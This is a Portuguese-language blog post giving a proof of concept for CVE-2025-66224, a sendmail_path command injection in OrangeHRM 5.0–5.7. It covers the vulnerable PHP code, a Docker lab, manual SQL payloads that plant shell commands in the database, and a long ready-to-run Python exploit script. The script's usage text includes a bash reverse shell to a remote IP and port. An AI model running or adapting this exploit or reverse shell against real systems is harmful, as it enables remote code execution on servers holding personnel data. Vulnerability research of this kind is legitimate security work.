research 2025-12-17 · 13 min de leitura · updated 2026-09-21

CVE-2025-66224: escrita de arquivo no OrangeHRM (PoC)

PoC da CVE-2025-66224: entrada não higienizada no fluxo de e-mail do OrangeHRM 5.0 a 5.7 chega ao comando sendmail e permite escrever arquivos no servidor.

CVE-2025-66224: escrita de arquivo no OrangeHRM (PoC)

Descrição

O OrangeHRM é um sistema abrangente de gestão de recursos humanos (RH). Da versão 5.0 à 5.7, o aplicativo apresentava uma falha de neutralização de entrada em seu fluxo de trabalho de configuração e entrega de e-mails, que permitia que valores controlados pelo usuário fossem inseridos diretamente no comando sendmail do sistema. Como esses valores não eram higienizados ou restringidos antes de serem incorporados ao caminho de execução do comando, certos comportamentos do sendmail podiam ser invocados involuntariamente durante o processamento de e-mails. Isso possibilitava que o aplicativo gravasse arquivos no servidor como parte da rotina de tratamento de e-mails e, em implantações onde esses arquivos acabam em locais acessíveis pela web, o comportamento podia ser explorado para executar conteúdo controlado por um atacante. O problema decorre inteiramente da construção de strings de comando em nível de sistema operacional usando entradas não higienizadas na lógica de envio de e-mails. Essa falha foi corrigida na versão 5.8.

Análises

1. EmailService.php - Ponto de Injeção

O código vulnerável principal está no método getTransport() da classe EmailService EmailService.php :

1
2
3
4
5
6
} elseif ($this->getEmailConfig()->getMailType() == MailTransport::SCHEME_SENDMAIL) {
    $transport = new MailTransport(
        $this->getEmailConfig()->getMailType(),
        $this->getConfigService()->getSendmailPath() // ← VULNERABILIDADE: uso direto sem sanitização
    );
}

2. ConfigService.php - Armazenamento da Chave

A constante que define a chave de configuração e método que obtém o valor ConfigService.php :

1
public const KEY_SENDMAIL_PATH = 'email_config.sendmail_path';

Método que retorna o valor do banco de dados sem validação ConfigService.php:

1
2
3
public function getSendmailPath(): ?string {
    return $this->_getConfigValue(self::KEY_SENDMAIL_PATH);
}

3. ViewEmailConfigurationController.php - Uso do Valor

O controller que obtém e exibe o caminho do sendmail ViewEmailConfigurationController.php:

1
2
3
$pathToSendmail = $this->getConfigService()->getSendmailPath();
$component = new Component('email-configuration-view');
$component->addProp(new Prop('path-to-sendmail', Prop::TYPE_STRING, $pathToSendmail));

4. EmailService.php - Carregamento da Configuração

No construtor, a configuração é carregada diretamente do banco EmailService.php:

1
2
3
4
5
protected function loadConfiguration(): void {
    $emailConfig = $this->getEmailConfigurationService()->getEmailConfigurationDao()->getEmailConfiguration();
    $this->setEmailConfig($emailConfig);
    $this->setSendmailPath($this->getConfigService()->getSendmailPath()); // ← Carregamento direto
}

Fluxo da Vulnerabilidade

O valor é armazenado no banco de dados na tabela hs_hr_config com chave email_config.sendmail_path

  1. ConfigService::getSendmailPath() obtém o valor diretamente do banco
  2. EmailService::loadConfiguration() carrega este valor sem sanitização
  3. EmailService::getTransport() passa o valor diretamente para MailTransport
  4. MailTransport executa o comando no shell sem qualquer validação

A vulnerabilidade ocorre porque em nenhum ponto há sanitização do valor do sendmail antes de sua execução como comando do sistema operacional.

Criando um Ambiente de Testes

Estarei utilizando o Docker Compose para montar o ambiente de testes, segue abaixo as configurações:

docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
version: '3.8'

services:
  orangehrm-db:
    image: mysql:8.0
    container_name: orangehrm-db
    # O comando abaixo desativa o ONLY_FULL_GROUP_BY e mantém a senha nativa
    command: >
      --default-authentication-plugin=mysql_native_password
      --sql-mode="STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION"
    restart: always
    environment:
      MYSQL_DATABASE: orangehrm
      MYSQL_USER: orange_user
      MYSQL_PASSWORD: orange_password
      MYSQL_ROOT_PASSWORD: root_password
    volumes:
      - db_data:/var/lib/mysql
    networks:
      - orangehrm-network

  orangehrm-app:
    build: .
    container_name: orangehrm-app
    restart: always
    ports:
      - "8080:80"
    environment:
      - ORANGEHRM_DB_HOST=orangehrm-db
      - ORANGEHRM_DB_NAME=orangehrm
      - ORANGEHRM_DB_USER=orange_user
      - ORANGEHRM_DB_PASSWORD=orange_password
    depends_on:
      - orangehrm-db
    networks:
      - orangehrm-network

networks:
  orangehrm-network:
    driver: bridge

volumes:
  db_data:

Dockerfile

1
2
3
4
5
FROM orangehrm/orangehrm:5.6
RUN apt-get update && \
    apt-get install -y ssmtp && \
    ln -sf /usr/sbin/ssmtp /usr/sbin/sendmail && \
    rm -rf /var/lib/apt/lists/*

Após a configuração, é só rodar o docker compose up -d --build e iniciar a instalação do software no http://127.0.0.1:8080/.

Replicando a Falha na Mão

Pontos Importantes

Para que essa CVE funcione, precisamos de três coisas importantes:

1 - Precisamos de um usuário admin na aplicação;

2 - Precisamos ter acesso ao Database da aplicação;

3 - Precisamos possuir permissão de escrita no Database;

Com esses três pontos conseguimos realizar com sucesso esse ataque.

Inserindo o Payload no Database

Primeiro precisamos localizar a chave email_config.sendmail_path dentro do Database. Em uma instalação do zero, ele fica em: orangehrm -> hs_hr_config -> email_config.sendmail_path

Banco orangehrm aberto, com a tabela hs_hr_configA linha email_config.sendmail_path na tabela hs_hr_configValor padrão da chave email_config.sendmail_path

Alterando esse valor, conseguimos inserir qualquer comando shell diretamente nele com o próprio SQL: UPDATE hs_hr_config SET value = '/usr/sbin/sendmail -bs && echo "pwned" > /tmp/pwned' WHERE name = 'email_config.sendmail_path';

UPDATE em hs_hr_config inserindo o comando shell no sendmail_path

Triggando o Payload

Para triggar o payload que inserimos anteriormente, precisamos logar na aplicação com um usuário admin, navegar até a sessão “admin” -> “configuration” -> “email configuration”.

Após isso, ativaremos o bullet point “Sendmail”, preencheremos o campo “Mail Sent As”, ativaremos o “Send Test Mail” e por fim, preencheremos também o campo “Test Email Address” e após isso, clicaremos em “Save”.

Menu Admin do OrangeHRM, na seção ConfigurationTela Mail Configuration com a opção Sendmail marcadaCampos Mail Sent As e Send Test Mail preenchidos antes do envio

O Servidor deve responder com um status code 200:

Resposta do servidor com status code 200 depois do teste de e-mail

E ao olharmos dentro do Docker, vemos que o payload funcionou com sucesso:

Arquivotmp/pwned criado dentro do container, com lixo no meio da saída

Porém ele venho com alguns lixos no meio do output.

Limpando o Lixo do Payload

Para resolver isso é bem simples, só precisamos alterar o final do payload anterior adicionando um # no final:

UPDATE hs_hr_config SET value = '/usr/sbin/sendmail -bs && echo "pwned" > /tmp/pwned #' WHERE name = 'email_config.sendmail_path';

Payload ajustado com um # no final para descartar o resto do comando

Com isso, o payload ja executa perfeitamente:

Arquivotmp/pwned escrito sem lixo na saída

PoC Automatizada

Escrevi um script python jutamente com o Claude AI para automatizar esse processo chato. Estarei anexando o código tanto aqui quanto no meu Github.

OBS: O AUTOR DESSE POST NÃO SE RESPONSABILIZA POR QUAISQUER USOS INDEVIDOS DESSE SCRIPT.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
import requests
import argparse
import sys
import mysql.connector
from mysql.connector import Error
import json

BANNER = r"""
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    @:  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  .@@@@@@  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@     @@@@@@@@@@@@@@@@@@@@@@@@   @@@@@@@@  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@    @@    @@@@@@@ .     @@@@@@@  #@@@@@@@%. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@ . @@@@@@@   @@@@   @@@@@   @@@@  @@@@@@@@   @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@   @@@@@@@@@  @@@  %@@@@:*@@  @@@  @@@@@@@   @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@   @@@@@@@    @@@  @@@@@@@@@  @@@  @@@@@@@  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@   @@@@@@   @@@@  .@@@@@@@@   @@@  .@@@@@@@  @@@@ @  @@@@@@@@@@@@@@@      @@@@@@@
@@@@@  @@@@@@  @@@@-. @@@@@@@  . @@@@@  @@@@@@@@  *@@@        @@@@ .             @@@@@
@@@@.  @@@@@  @@@@@  @@@@@@@@@@   @@@@  @@@@@@@@@  @     --        @@@@       .@  @@@@
@@@@  @@@@@@  @@@@@@   @@@@@@@@@@   .  . @@@@@@@@@   @@@@@@@@@@@@@            @  @@@@@
@@@@  @@@@@@  @@@@@  .@@@@@@@@@@@*@@@@@  @%@@@@@@@@@@@@@       *@@@@ @ @     @   @@@@@
@@@@-  @@@@@@ @@@@  @@@@@@@@@@@@@:@@@@@@@@@@@@@@:@@@@@@ .        @@@@@@    @@=  @@@@@@
@@@@@  @@@@@@   @  @@@@@@@@@@@* %@@@@@@@@@@@@@@@*@@@@@  .@@@@@   @@@@@@@@@@@   @@@@@@@
@@@@@@  @@@@@@    @@@@@@@@@@#%@@@@@@@@@@@@@@@@@%@@@@@@@   @@@    @@@@@@@@@@  .@@@@@@@@
@@@@@@-  @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@       @@@@@@@@@   @@@@@@@@@@
@@@@@@@@  @@@@@@@@@@@@@@@@@@@@@@@@@#==#@@@@@@@@@@@@@ @@ =@@@@@@@@@@@@@@@=  @@@@@@@@@@@
@@@@@@@@@   @@@@@@@@@@@@@@@@@@@@*.@@@@@@: @@@@@@@@@@@    @@@@@@@@@@@@@@@@  @@@@@@@@@@@
@@@@@@@@@      @@@@@@@@@@@@@@@@@ .%*@@@@@@ @@@@@@@@@.@@@@@@@@@@@@@@@@@@@@. @@@@@@@@@@@
@@@@@@@@  @ @   @@@@@@    @@@@@@@  @@@@@@@@@@@@@@@@@@@@@        .@@@@@@@@  @@@@@@@@@@@
@@@@@@@  :      @@@@@-   .@@@@@@@@@%@@@@@@@@@@@@@@@@@@@@   @@#    @@@@@@@@   @@@@@@@@@
@@@@@@@          @@@@               @@@@@@+@@@@@@@@@@@@   @@@@    @@@@@@@@@@   -@@@@@@
@@@@@@  @  .       @@               @@@@@# .@@@@@@@@@@@@          @@@@@@@%@@@@ . @@@@@
@@@@@@                                    .        @@@@@@% .    *@@@@@@@     @@@  @@@@
@@@@@@      @@@     @              @        @      #@@@@@@@@@@@@@@@@@@ @       @@  @@@
@@@@@@            . .         @        @           *@@@@@@@@@@@@@@@@@            @  @@
@@@@@@  @ @   @@@@            @        %   @            @@@@@@@@@@  @@@@@%++#@@@@  :@@
@@@@@@@     @@@@@      @@  .         .     @           @   .   @     .            @@@@
@@@@@@@@@@@@@@@@@.    @         @@@                 @@@        @     @@     @@@@@@@@@@
@@@@@@@@@@@@@@@@@@ .    @@@@@@@           .@     =      @@@@@     .      :@  +@@@@@@@@
@@@@@@@@@@@@@@@@@@@@  @@@@@@@@@@@@@@@@@@@ .        @@@@@@@@@@@@@@@@@@@@      @@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@ PoC RCE for OrangeHRM CVE-2025-66224 @@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@ PoC by RiccK @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@ Bypassadores && HackersOnSteroids @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
"""

def normalizeUrl(url: str) -> str:
    if not (url.startswith("http://") or url.startswith("https://")):
        url = "http://" + url
    return url.rstrip("/")

def createSessionFromCookie(base_url: str, cookie_value: str, cookie_name: str = "_orangehrm"):
    session = requests.Session()
    session.cookies.set(cookie_name, cookie_value)
    
    print(f"[*] Cookie set: {cookie_name}={cookie_value}")
    print(f"[*] Validating session...")
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    }
    
    dashboard_url = f"{base_url}/web/index.php/dashboard/index"
    test = session.get(dashboard_url, headers=headers, allow_redirects=True)
    
    print(f"[*] Status Code: {test.status_code}")
    print(f"[*] Final URL: {test.url}")
    
    if 'login' in test.url.lower():
        print("[-] Invalid or expired cookie! Redirected to login.")
        return None
    
    if test.status_code == 200:
        print("[+] Valid session! Dashboard access confirmed.")
        return session
    
    print("[-] Could not validate session.")
    return None

def findAndUpdateSendmailPath(db_host, db_user, db_pass, payload, db_port=3306):
    print(f"\n[*] Connecting to MySQL...")
    print(f"[*] Host: {db_host}:{db_port}")
    print(f"[*] User: {db_user}")
    
    try:
        connection = mysql.connector.connect(
            host=db_host,
            user=db_user,
            password=db_pass,
            port=db_port,
            connect_timeout=5
        )
        
        if connection.is_connected():
            print(f"[+] Connected to MySQL successfully!")
            
            cursor = connection.cursor()
            cursor.execute("SHOW DATABASES")
            databases = cursor.fetchall()
            
            print(f"\n[*] Looking for table 'hs_hr_config'...")
            
            found = False
            for db in databases:
                db_name = db[0]
                
                if db_name in ['information_schema', 'mysql', 'performance_schema', 'sys']:
                    continue
                
                try:
                    cursor.execute(f"USE {db_name}")
                    cursor.execute("SHOW TABLES LIKE 'hs_hr_config'")
                    result = cursor.fetchone()
                    
                    if result:
                        print(f"[+] Table 'hs_hr_config' found in database '{db_name}'!")
                        
                        cursor.execute("SELECT `name`, `value` FROM hs_hr_config WHERE `name` = 'email_config.sendmail_path'")
                        row = cursor.fetchone()
                        
                        if row:
                            print(f"\n[+] Current configuration found:")
                            print(f"    Name: {row[0]}")
                            print(f"    Value: {row[1]}")
                            
                            new_value = f"/usr/sbin/sendmail -bs && {payload} #"
                            
                            print(f"\n[*] New value will be:")
                            print(f"    {new_value}")
                            print(f"\n[!] WARNING: This will MODIFY the database!")
                            
                            confirm = input("[?] Do you want to continue? (yes/no): ")
                            
                            if confirm.lower() == 'yes':
                                update_query = "UPDATE hs_hr_config SET `value` = %s WHERE `name` = 'email_config.sendmail_path'"
                                cursor.execute(update_query, (new_value,))
                                connection.commit()
                                
                                print(f"\n[+] Value updated successfully!")
                                
                                cursor.execute("SELECT `name`, `value` FROM hs_hr_config WHERE `name` = 'email_config.sendmail_path'")
                                updated_row = cursor.fetchone()
                                print(f"[+] Updated value:")
                                print(f"    {updated_row[1]}")
                                
                                found = True
                            else:
                                print(f"[-] Operation cancelled by user")
                                found = True
                        else:
                            print(f"[-] Configuration 'email_config.sendmail_path' not found")
                        
                        break
                        
                except Error as e:
                    print(f"[-] Error accessing database '{db_name}': {e}")
                    continue
            
            if not found:
                print(f"\n[-] Table 'hs_hr_config' or configuration not found")
            
            cursor.close()
            connection.close()
            print(f"\n[+] MySQL connection closed")
            return found
            
    except Error as e:
        print(f"[-] Error connecting to MySQL: {e}")
        print(f"\n[!] Troubleshooting tips:")
        print(f"    1. Check if MySQL is running")
        print(f"    2. If using Docker, the host might be the container name")
        print(f"       Example: -dh orangehrm_mysql or -dh mysql")
        print(f"    3. Check the port with: docker ps | grep mysql")
        print(f"    4. If port is mapped, use: -dport PORT")
        print(f"    5. Try to find MySQL container IP:")
        print(f"       docker inspect <container_name> | grep IPAddress")
        return False

def restoreSendmailPath(db_host, db_user, db_pass, db_port=3306):
    print(f"\n[*] Restoring original sendmail_path value...")
    
    try:
        connection = mysql.connector.connect(
            host=db_host,
            user=db_user,
            password=db_pass,
            port=db_port,
            connect_timeout=5
        )
        
        if connection.is_connected():
            cursor = connection.cursor()
            cursor.execute("SHOW DATABASES")
            databases = cursor.fetchall()
            
            for db in databases:
                db_name = db[0]
                
                if db_name in ['information_schema', 'mysql', 'performance_schema', 'sys']:
                    continue
                
                try:
                    cursor.execute(f"USE {db_name}")
                    cursor.execute("SHOW TABLES LIKE 'hs_hr_config'")
                    result = cursor.fetchone()
                    
                    if result:
                        original_value = "/usr/sbin/sendmail -bs"
                        update_query = "UPDATE hs_hr_config SET `value` = %s WHERE `name` = 'email_config.sendmail_path'"
                        cursor.execute(update_query, (original_value,))
                        connection.commit()
                        
                        print(f"[+] Value restored to: {original_value}")
                        
                        cursor.close()
                        connection.close()
                        return True
                        
                except Error as e:
                    continue
            
            cursor.close()
            connection.close()
            
    except Error as e:
        print(f"[-] Error restoring: {e}")
        return False
    
    return False

def exploit(session, base_url, command, db_host=None, db_user=None, db_pass=None, db_port=3306):
    print(f"\n[*] Starting exploitation...")
    
    if db_host and db_user and db_pass and command:
        print(f"[*] Injecting payload into sendmail_path via MySQL...")
        success = findAndUpdateSendmailPath(db_host, db_user, db_pass, command, db_port)
        
        if not success:
            print(f"[-] Failed to inject payload into database")
            return False
    else:
        print(f"[!] MySQL credentials or command not provided!")
        print(f"[!] Use: -dh HOST -du USER -dp PASS -cmd 'your_command'")
        return False
    
    print(f"\n[*] Triggering payload execution...")
    
    email_config_url = f"{base_url}/web/index.php/api/v2/admin/email-configuration"
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0',
        'Accept': 'application/json, text/plain, */*',
        'Accept-Language': 'en-US,en;q=0.5',
        'Content-Type': 'application/json',
        'Origin': base_url,
        'Referer': f"{base_url}/web/index.php/admin/listMailConfiguration",
        'Sec-Fetch-Dest': 'empty',
        'Sec-Fetch-Mode': 'cors',
        'Sec-Fetch-Site': 'same-origin'
    }
    
    payload = {
        "mailType": "sendmail",
        "sentAs": "exploit@email.com",
        "smtpHost": None,
        "smtpPort": None,
        "smtpUsername": "admin",
        "smtpPassword": None,
        "smtpAuthType": "login",
        "smtpSecurityType": "none",
        "testEmailAddress": "trigger@email.com"
    }
    
    print(f"[*] Sending trigger request to: {email_config_url}")
    
    try:
        response = session.put(email_config_url, json=payload, headers=headers)
        
        print(f"[+] Status Code: {response.status_code}")
        
        try:
            response_json = response.json()
            print(f"[+] Response:")
            print(json.dumps(response_json, indent=2))
        except:
            print(f"[+] Response Text:")
            print(response.text[:500])
        
        if response.status_code == 200:
            print(f"\n[+] Payload triggered! Command should have been executed.")
            
            print(f"\n[*] Cleaning up - restoring original value...")
            restore_success = restoreSendmailPath(db_host, db_user, db_pass, db_port)
            
            if restore_success:
                print(f"[+] Database value restored successfully!")
            else:
                print(f"[-] Could not restore value automatically")
                print(f"[!] Restore manually to: /usr/sbin/sendmail -bs")
            
            print(f"\n[+] Exploit completed! Check if command was executed.")
            return True
        else:
            print(f"\n[-] Failed to trigger. Status: {response.status_code}")
            
            print(f"\n[*] Attempting to restore database value anyway...")
            restoreSendmailPath(db_host, db_user, db_pass, db_port)
            
            return False
            
    except Exception as e:
        print(f"[-] Error during trigger: {str(e)}")
        return False

parser = argparse.ArgumentParser(
    prog="orangehrm_exploit.py",
    description=BANNER,
    epilog="USAGE: python3 script.py -t http://host.com -c 'cookie_value' -dh 127.0.0.1 -du user -dp pass -cmd 'whoami'",
    formatter_class=argparse.RawDescriptionHelpFormatter
)

parser.add_argument("-t", "--target", type=normalizeUrl, required=True, help="Target URL")
parser.add_argument("-c", "--cookie", required=True, help="Session cookie value")
parser.add_argument("-cn", "--cookie_name", default="_orangehrm", help="Cookie name (default: _orangehrm)")
parser.add_argument("-cmd", "--command", required=False, help="Command to execute")
parser.add_argument("-dh", "--db_host", required=False, help="MySQL host (e.g., 127.0.0.1)")
parser.add_argument("-du", "--db_user", required=False, help="MySQL username")
parser.add_argument("-dp", "--db_pass", required=False, help="MySQL password")
parser.add_argument("-dport", "--db_port", type=int, default=3306, help="MySQL port (default: 3306)")

args = parser.parse_args()

if __name__ == "__main__":
    
    print(BANNER)
    
    auth_session = createSessionFromCookie(args.target, args.cookie, args.cookie_name)
    
    if auth_session:
        print("\n[+] Session authenticated and validated successfully!")
        
        if args.command:
            exploit(
                auth_session, 
                args.target, 
                args.command,
                args.db_host,
                args.db_user,
                args.db_pass,
                args.db_port
            )
        else:
            print("\n[!] No command specified. Use -cmd to execute commands.")
            print("[+] Session available for manual use")
            print(f"\n[+] Full usage example:")
            print(f"    python3 script.py -t {args.target} -c {args.cookie} \\")
            print(f"        -dh 127.0.0.1 -du root -dp password \\")
            print(f"        -cmd 'bash -c \"bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\"'")
    else:
        print("\n[-] Could not establish a valid session")
        print("[!] Tip: Get the cookie from browser after logging in manually")
        sys.exit(1)

Referencias

  • NVD - CVE-2025-66224
  • [CVE-2025-66224 — Orangehrmdbugs](https://dbugs.ptsecurity.com/vulnerability/PT-2025-48365)
Esta postagem está licenciada sob CC BY 4.0 pelo autor.